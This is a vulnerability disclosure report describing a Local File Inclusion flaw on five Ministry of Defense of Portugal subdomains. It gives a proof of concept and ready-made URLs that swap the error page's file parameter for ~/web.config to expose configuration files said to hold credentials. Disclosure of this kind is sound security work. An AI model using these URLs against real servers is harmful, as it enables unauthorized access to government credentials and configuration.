Local File Inclusion in multiple subdomains of the Ministry of Defense of Portugal

Hi,

I notice that is possible to have Local File Inclusion in **five subdomains of the Ministry of Defense of Portugal.**

Since they share the same framework the bug works in all the websites.

POC:

Go to the website https://arquivo-ligacombatentes.defesa.gov.pt and then force the application into to an error.

Per example try to access a page that don't exist like /test.aspx and then you will be redirected to

https://arquivo-ligacombatentes.defesa.gov.pt/error?StatusCode=404&file=~/FileNotFoundPage.html

After that change the file /FileNotFoundPage.html to /web.config and you be able to see the /web.config file of the application.

Due to the fact of the file contains credentials I will not upload a picture of it in this report.

This vulnerability also affects the following subdomains:

https://arquivo-cave.defesa.gov.pt/error?StatusCode=404&file=~/web.config

https://arquivohistorico-forcaaerea.defesa.gov.pt/error?StatusCode=404&file=~/web.config

https://arquivo-adn.defesa.gov.pt/error?StatusCode=404&file=~/web.config

https://ahmgermil-exercito.defesa.gov.pt/error?StatusCode=404&file=~/web.config

Recommendation:

Please check OWASP Local File Inclusion cheat sheet to prevent this issue.

Impact:

An attacker could read local files on the web server that they would normally not have access to, such as the application source code or configuration files containing sensitive information on how the website is configured.

Best Regards

Miguel Santareno